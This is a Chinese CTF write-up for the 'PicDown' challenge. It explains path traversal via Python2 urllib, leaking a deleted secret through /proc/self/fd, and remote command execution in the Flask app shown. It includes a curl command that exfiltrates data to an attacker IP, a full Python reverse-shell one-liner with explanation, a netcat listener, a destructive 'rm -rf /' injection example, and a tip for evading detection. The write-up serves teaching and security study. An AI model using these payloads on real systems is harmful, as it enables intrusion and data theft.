CTF题目 《PicDown》(网鼎杯 2020 白虎组)WriteUp

题目背景与知识点

  1. 技术栈

    • Python-Flask 框架审计:题目基于 Flask 框架实现,存在路由逻辑漏洞。
    • Linux 特殊文件:利用 /proc 文件系统获取已删除文件内容(如文件描述符 /proc/self/fd/[num])。
    • 命令注入与反弹 Shell:通过泄露的密钥触发系统命令执行。
  2. 核心知识点

    • 文件描述符泄漏:已删除但未关闭的文件可通过 /proc/self/fd 访问。
    • Python2 的 urllib 特性urllib.urlopen 支持直接读取本地文件路径。
    • 非预期解与预期解:通过路径读取绕过过滤或利用文件描述符泄露密钥。

解题流程

1. 信息收集
  • 初始页面分析
    访问页面后,发现存在参数 url,尝试提交 URL 地址。通过抓包或查看源码,确认服务端使用 Python 的 urllib 库处理请求。
    关键点:若提交域名无响应,推测服务端不支持 HTTP 协议直接访问,需尝试本地文件读取。

  • 尝试文件协议读取
    输入 file:///etc/passwdHACK ERROR!,被拦截,说明过滤了 file 协议。

  • 尝试路径绕过
    输入../../../../etc/passwd,自动下载了一张图片,以图片打开显示已损坏,记事本打开,读取信息,说明可以通过文本格式正常显示文件

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
app:x:1000:1000::/home/app:/bin/sh
  • 尝试直接读取flag(非预期解)
    输入../../../../flag,没想到直接出来了
flag{16618dd6-9b5f-41e9-bd1d-3d817c96d426}

2. 本地文件路径利用
  • 利用 Python2 urllib 特性
    Python2 的 urllib.urlopen 支持直接输入文件路径(如 /etc/passwd),无需 file:// 前缀。通过提交路径 /proc/self/cmdline 确认应用为 Python 进程,并获取启动命令 /usr/bin/python /app/app.py,确定工作目录为 /app

  • 读取应用源码
    通过路径 /app/app.py 获取 Flask 代码(篇幅问题完整代码和解析放在文章结尾),关键逻辑如下:

    SECRET_FILE = "/tmp/secret.txt"
    f = open(SECRET_FILE)
    SECRET_KEY = f.read().strip()
    os.remove(SECRET_FILE)  # 文件被删除但未关闭
    

    注意点SECRET_KEY 是访问 /no_one_know_the_manager 路由的必要条件,但文件已被删除。


3. 泄露 SECRET_KEY
  • 通过文件描述符恢复文件
    由于文件被删除但未关闭,可通过 /proc/self/fd/[num] 读取内容。遍历文件描述符(通常 fd/3 为第一个打开的文件):
    ?url=/proc/self/fd/3
    
    读取 /tmp/secret.txt 内容,得到 SECRET_KEY(如 2e3658a3c99be231c2b3b0cc260528c4)。

4. 命令执行与 Flag 获取
  • 触发命令注入
    访问路由 /no_one_know_the_manager,传入 keyshell 参数:

    /no_one_know_the_manager?key=2e3658a3c99be231c2b3b0cc260528c4&shell=命令
    

    注意点key 需与泄露的 SECRET_KEY 完全匹配,且 shell 参数需 URL 编码。

  • 数据外带与反弹 Shell

    • 法一:外带数据:通过 curl 将命令结果发送到远程服务器:
      &shell=curl http://IP:PORT/$(cat /flag|base64)
      
    • 法二:反弹 Shell(推荐):使用 Python 反弹 Shell:
      &shell=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
      
    • 代码结构解析
      python -c '
      import socket, subprocess, os;
      s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
      s.connect(("IP", PORT));
      os.dup2(s.fileno(), 0);
      os.dup2(s.fileno(), 1);
      os.dup2(s.fileno(), 2);
      p = subprocess.call(["/bin/sh", "-i"]);
      '
    

    关键点:服务器需开启监听(nc -lvvp PORT),最终在根目录 /flag/root/flag.txt 获取 Flag。


注意事项与细节

  1. 文件描述符遍历:若 fd/3 无效,需尝试 fd/0-fd/5,结合报错信息判断。
  2. 编码问题SECRET_KEY 中的 + 需 URL 编码为 %2B,否则可能解析错误。
  3. 非预期解:直接读取 /proc/self/cwd/app.py 获取源码(若环境未限制)。
  4. 反弹 Shell 稳定性:部分环境可能禁用反向连接,需尝试多种 Payload(如 bash -inc)。

1. 如何确认服务端使用 Python 的 urllib 库处理请求?

测试方法与观察点
  • 行为验证
    提交 url=/etc/passwd(无需 file:// 前缀),若成功读取本地文件,则表明服务端可能使用 Python2 的 urllib.urlopen
    原理:Python2 的 urllib 允许直接输入文件路径(视为本地文件),而 Python3 的 urllib.request 必须显式使用 file:// 协议。

  • 错误信息泄露
    提交非法协议(如 xxx://)或特殊字符(如空格),若返回 urllib 相关错误(如 No handler for xxx),则直接暴露库信息。

示例
# Python2 示例代码(直接读取文件)
import urllib
content = urllib.urlopen("/etc/passwd").read()

2. 如何确认题目基于 Flask 框架?

特征与验证方法
  • 默认路由与响应头
    访问不存在的路由(如 /abcdefg,在本题中可以?),观察是否返回 Flask 的默认 404 页面(包含提示 Not FoundThe requested URL was not found on the server)。
    响应头特征:检查 HTTP 响应头中的 Server 字段是否为 Werkzeug(Flask 的默认开发服务器)。

  • 读取应用源码
    通过文件读取漏洞获取 /app/app.py,若发现代码中存在 Flask 导入和路由装饰器(如 @app.route),则可确认。

示例代码片段
from flask import Flask
app = Flask(__name__)

@app.route('/')
def index():
    return "Hello World!"

3. /proc 文件系统是什么?

核心概念
  • Linux 虚拟文件系统
    /proc 是 Linux 内核提供的虚拟文件系统,以文件形式暴露进程和系统信息(如 CPU、内存、运行中的进程等)。
    动态性:文件内容动态生成,不占用磁盘空间。

  • 关键目录与文件

    • /proc/self:指向当前进程的目录(等价于 /proc/<PID>)。
    • /proc/sys:内核参数配置(需 root 权限修改)。
    • /proc/net:网络连接和统计信息。

4. /proc/self/cmdline/proc/self/environ 的作用

详细说明
  • /proc/self/cmdline

    • 内容:进程启动时的完整命令行参数(以 \0 分隔)。
    • 用途:获取应用启动命令(如 python /app/app.py),确定工作目录和关键文件路径。
  • /proc/self/environ

    • 内容:进程的环境变量(以 \0 分隔),可能包含敏感信息:
      • SECRET_KEY:Flapp 应用的加密密钥。
      • PATH:系统路径配置。
      • FLASK_DEBUG:调试模式标志。
    • 用途:泄露配置、密钥或调试信息。
示例
# 读取 cmdline(结果:/usr/bin/python\0/app/app.py)
curl "http://target/?url=/proc/self/cmdline"

# 读取 environ(结果:SECRET_KEY=xxx\0PATH=/usr/bin\0...)
curl "http://target/?url=/proc/self/environ"

5. 其他敏感文件(类似 /proc/self/cmdline/proc/self/environ

关键文件列表
文件路径作用
/proc/self/exe进程对应的可执行文件(符号链接)
/proc/self/cwd进程的当前工作目录(符号链接)
/proc/self/fd/[num]进程打开的文件描述符(如已删除文件)
/proc/self/maps进程的内存映射信息(泄露库路径)
/proc/version系统内核版本信息
利用场景
  • /proc/self/cwd/app.py:若进程工作目录为 /app,可直接读取源码。
  • /proc/self/maps:查找动态链接库路径(如 libc.so),辅助漏洞利用。

6. 如何确定服务端使用 Python2?

判断依据
  • 语法特性

    • print 语句:若源码中存在 print "Hello"(无括号),则为 Python2。
    • 模块导入差异:Python2 使用 urllib2urllib,Python3 使用 urllib.request
  • 错误信息特征

    • 异常类型:Python2 的 urllib 抛出 IOError,Python3 抛出 FileNotFoundError
    • 错误字符串:Python2 的 urlopen 错误信息可能包含 'file://' 提示。
  • 文件描述符行为
    Python2 的某些文件操作(如未关闭的文件句柄)在 /proc/self/fd 中表现更易预测。

示例
# Python2 的 urllib 特性(直接读取文件)
urllib.urlopen("/etc/passwd") 

# Python3 必须使用 file:// 协议
urllib.request.urlopen("file:///etc/passwd")

7. /proc/self/fd/[num]解析

1. /proc/self/fd/1:标准输出(STDOUT)
  • 功能
    代表进程的标准输出,默认指向终端(控制台)。例如,echo "Hello" 的输出会通过文件描述符 1 显示在屏幕上。

  • 符号链接
    通常指向 /dev/pts/[N](终端设备)或 /dev/null(若输出被重定向到黑洞)。

  • 操作示例

      # 将标准输出重定向到文件(等同于 > file) 
      echo "test" > /proc/self/fd/1
    
2. /proc/self/fd/2:标准错误(STDERR)
  • 功能
    代表进程的标准错误输出,默认同样指向终端。例如,执行无效命令时的错误信息(如 ls invalid_file)会通过描述符 2 显示。

  • 重定向示例

      # 将错误输出重定向到黑洞(丢弃错误信息) 
      ls invalid_file 2> /proc/self/fd/2  # 等同于 2>/dev/null
    

    ``

  • 与标准输出的区别
    标准输出和错误输出分开处理,便于区分正常日志与错误信息。

3. /proc/self/fd/3:进程打开的额外文件或资源
  • 功能
    文件描述符 3 及以上是进程动态分配的,用于访问临时文件、套接字、管道等资源。例如:
    • 程序通过 open() 或 socket() 打开文件或网络连接时,可能分配描述符 3。
    • 自动补全功能:某些工具(如 Bash 的 Tab 补全)会临时打开文件,生成描述符 3,但该描述符可能仅在父进程中可见,子进程(如 ls)无法看到 。
  • 示例场景
      # 打开文件并分配描述符 3 
      exec 3> temp.txt 
      echo "write via fd3" >&3
    
    此时 /proc/self/fd/3 会指向 temp.txt
  • 调试意义
    通过检查 /proc/[PID]/fd/3 可追踪进程打开的具体资源。
总结与扩展
文件描述符默认指向典型用途可见性
0终端输入(键盘)读取用户输入所有进程
1终端输出(屏幕)输出正常日志所有进程
2终端输出(屏幕)输出错误信息所有进程
3+动态分配资源文件、套接字、管道等临时操作依赖进程上下文

8. 路由(Route)

在 Web 开发框架(如 Flask)中,路由(Route) 是一个核心概念,用于 将特定的 URL 路径与后端处理逻辑绑定。在您提供的代码中,路由通过 @app.route() 装饰器定义,以下是具体解析:

一、路由的作用
  1. URL 映射
    路由定义了当用户访问某个 URL 路径时,服务器应执行哪个函数来处理请求。例如:

    • 访问 http://example.com/ → 触发 index() 函数,返回搜索页面。
    • 访问 http://example.com/page → 触发 page() 函数,处理 URL 参数并返回响应。
  2. HTTP 方法控制
    路由可以指定允许的 HTTP 方法(如 GETPOST)。默认仅允许 GET,但可显式声明:

    @app.route('/submit', methods=['POST']) # 仅接受POST请求
    
  3. 动态路径参数
    路由支持从 URL 中提取变量(如用户 ID):

    @app.route('/user/<username>') # 示例:访问 /user/alice 会提取 username='alice'
    
二、代码中的路由详解
1. 首页路由 /
@app.route('/') 
def index(): 
return render_template('search.html')
  • 功能:当用户访问根路径 / 时,渲染 search.html 模板(一个搜索页面)。
  • 特点:无参数处理,直接返回静态页面。
2. 核心功能路由 /page
@app.route('/page') 
def page(): 
url = request.args.get("url") # 获取GET参数url的值 # ...(处理逻辑)
  • 功能:处理用户通过 GET 请求传递的 url 参数(如 http://example.com/page?url=xxx)。
  • 漏洞点
    • 未严格过滤 url 参数,允许任意文件读取(如 url=/etc/passwd)。
    • 使用 Python2 的 urllib.urlopen(),可读取本地文件或发起网络请求。
3. 后门路由 /no_one_know_the_manager
@app.route('/no_one_know_the_manager') 
def manager(): 
key = request.args.get("key") # 获取密钥参数 # ...(密钥校验与命令执行)
  • 功能:通过 GET 参数 key 和 shell 实现后门命令执行(如 http://example.com/no_one_know_the_manager?key=xxx&shell=ls)。
  • 漏洞点
    • 密钥 SECRET_KEY 通过 /proc/self/fd/N 可恢复(因文件句柄未关闭)。
    • 直接使用 os.system(shell) 执行任意系统命令,存在高危命令注入风险。
三、路由与网络安全
  1. 路由暴露风险

    • 示例中的后门路由 /no_one_know_the_manager 是一个隐蔽入口,攻击者可通过路径猜测或目录爆破发现。
    • 建议:避免使用易猜测的路由名称,并对敏感操作添加身份验证。
  2. 参数过滤缺失

    • /page 路由未对 url 参数做严格过滤,允许 file:// 协议读取本地文件(如 url=file:///etc/passwd)。
    • 修复建议:使用白名单校验协议(如仅允许 http:// 或 https://)。
  3. 命令注入风险

    • /no_one_know_the_manager 路由直接拼接 shell 参数到系统命令,攻击者可注入 ; rm -rf / 等恶意指令。
    • 修复建议:使用 subprocess 模块并转义参数,或完全禁止动态命令执行。
四、总结
路由路径功能安全风险等级
/返回搜索页面
/page处理URL参数并返回内容高(任意文件读取)
/no_one_know_the_manager后门命令执行严重(RCE)

9.app.py详细分析

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
    return render_template('search.html')


@app.route('/page')
def page():
    url = request.args.get("url")
    try:
        if not url.lower().startswith("file"):
            res = urllib.urlopen(url)
            value = res.read()
            response = Response(value, mimetype='application/octet-stream')
            response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
            return response
        else:
            value = "HACK ERROR!"
    except:
        value = "SOMETHING WRONG!"
    return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)
        res = "ok"
    else:
        res = "Wrong Key!"

    return res


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

以下是代码的逐行解释:

# 导入 Flask 框架相关模块
from flask import Flask, Response  # Response 用于构建HTTP响应对象
from flask import render_template  # 渲染HTML模板
from flask import request          # 处理HTTP请求参数
import os                          # 系统操作(如文件删除)
import urllib                      # Python2的URL处理库(关键漏洞点)

app = Flask(__name__)              # 创建Flask应用实例

# 密钥处理部分(核心漏洞点)
SECRET_FILE = "/tmp/secret.txt"    # 定义密钥文件路径
f = open(SECRET_FILE)              # 打开密钥文件(文件描述符保持打开状态)
SECRET_KEY = f.read().strip()      # 读取文件内容并去除空白字符
os.remove(SECRET_FILE)             # 删除文件(但未关闭文件句柄!可通过/proc恢复内容)

# 定义路由:首页(渲染搜索页面)
@app.route('/')
def index():
    return render_template('search.html')  # 返回HTML模板search.html

# 定义路由:/page(核心功能路由)
@app.route('/page')
def page():
    url = request.args.get("url")  # 获取GET参数url的值
    try:
        # 漏洞点1:检查逻辑不严谨(仅检查小写"file"开头)
        if not url.lower().startswith("file"): 
            # 漏洞点2:直接使用urllib.urlopen读取任意路径/Python2特性
            res = urllib.urlopen(url)       # 打开URL/文件路径
            value = res.read()              # 读取内容
            # 构造响应:强制下载文件(伪装成图片)
            response = Response(value, mimetype='application/octet-stream')
            response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
            return response
        else:
            value = "HACK ERROR!"  # 拦截包含"file"协议的请求
    except:
        value = "SOMETHING WRONG!" # 异常处理(信息泄露风险低)
    return render_template('search.html', res=value)  # 渲染结果到模板

# 定义路由:/no_one_know_the_manager(后门路由)
@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")  # 获取密钥参数
    print(SECRET_KEY)              # 在控制台打印密钥(调试用,无网页输出)
    # 漏洞点3:密钥校验后直接执行系统命令
    if key == SECRET_KEY:          
        shell = request.args.get("shell")  # 获取要执行的命令
        os.system(shell)           # 执行系统命令(高危命令注入!)
        res = "ok"                 # 返回执行结果
    else:
        res = "Wrong Key!"         # 密钥错误提示
    return res

# 启动Flask应用
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)  # 监听所有IP的8080端口
关键漏洞与攻击面分析
  1. urllib.urlopen 本地文件读取

    • 漏洞代码res = urllib.urlopen(url)
    • 利用方式:Python2 的 urllib 允许直接输入文件路径(如 /etc/passwd),无需 file:// 协议,绕过了 startswith("file") 的检查。
  2. 未关闭的文件描述符

    • 漏洞代码f = open(SECRET_FILE) 后未执行 f.close()
    • 利用方式:通过 /proc/self/fd/3(假设fd=3)读取已删除的 /tmp/secret.txt 内容。
  3. 命令注入

    • 漏洞代码os.system(shell)
    • 触发条件:需先通过文件描述符泄露获取 SECRET_KEY,再传递 keyshell 参数执行任意命令。
代码中需注意的防御缺陷
  1. 协议检查不严谨

    if not url.lower().startswith("file"):  # 可被 "FILE"、"File" 或非协议路径绕过
    

    改进建议:使用正则表达式严格校验协议头。

  2. 未关闭文件句柄

    f = open(SECRET_FILE)
    # 缺少 f.close()
    

    改进建议:使用 with open(...) as f 自动关闭文件。

  3. 直接执行系统命令

    os.system(shell)  # 无任何过滤
    

    改进建议:禁止直接执行用户输入,或使用白名单限制命令类型。


10.反弹 Shell解析

这是一段通过 Python 实现的反向 Shell(反弹 Shell)代码,核心目的是让目标机器主动连接攻击者控制的服务器,并提供一个交互式 Shell 会话。以下是分步解析:

代码结构分解
python -c '
import socket, subprocess, os;
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s.connect(("IP", PORT));  # 替换代码中的 `IP` 和 `PORT` 为攻击者服务器的地址
os.dup2(s.fileno(), 0);
os.dup2(s.fileno(), 1);
os.dup2(s.fileno(), 2);
p = subprocess.call(["/bin/sh", "-i"]);
'
逐行解析
1. 导入模块
import socket, subprocess, os;
  • socket:用于创建网络连接(TCP/UDP)。
  • subprocess:用于启动子进程(如 Shell)。
  • os:用于操作系统级操作(如文件描述符重定向)。
2. 创建 Socket 对象
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
  • socket.AF_INET:指定使用 IPv4 协议。
  • socket.SOCK_STREAM:指定使用 TCP 协议(可靠、面向连接)。
3. 连接到攻击者的监听服务器
s.connect(("IP", PORT));
  • IP:攻击者控制的服务器 IP 地址(需替换为实际值)。
  • PORT:攻击者监听的端口号(需替换为实际值)。
  • 作用:目标机器主动向攻击者的服务器发起 TCP 连接。
4. 重定向标准输入/输出/错误
os.dup2(s.fileno(), 0);  # 标准输入(stdin)
os.dup2(s.fileno(), 1);  # 标准输出(stdout)
os.dup2(s.fileno(), 2);  # 标准错误(stderr)
  • os.dup2(old_fd, new_fd):将 old_fd 的文件描述符复制到 new_fd
  • s.fileno():获取 Socket 的文件描述符(整数)。
  • 作用:将 Shell 的输入、输出、错误流全部绑定到 Socket,实现与攻击者服务器的交互。
5. 启动交互式 Shell
p = subprocess.call(["/bin/sh", "-i"]);
  • subprocess.call:执行命令并等待其完成。
  • /bin/sh -i:启动一个交互式 Shell(-i 表示交互模式)。
  • 作用:在目标机器上启动 Shell,其输入输出通过 Socket 传输。
注意事项
  1. 依赖 Python 环境
    目标机器需安装 Python 环境(Python2 或 Python3 均可运行此代码)。

  2. 防火墙与出站限制
    目标机器需允许向攻击者 IP 的指定端口发起出站 TCP 连接。

  3. 命令编码与转义
    若通过 URL 参数传递此代码,需对特殊字符(如空格、引号)进行 URL 编码:

    shell=python -c 'import%20socket...'
    
  4. 隐蔽性问题
    长时间运行的 Shell 可能被安全监控工具发现,建议使用加密通信或短连接。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值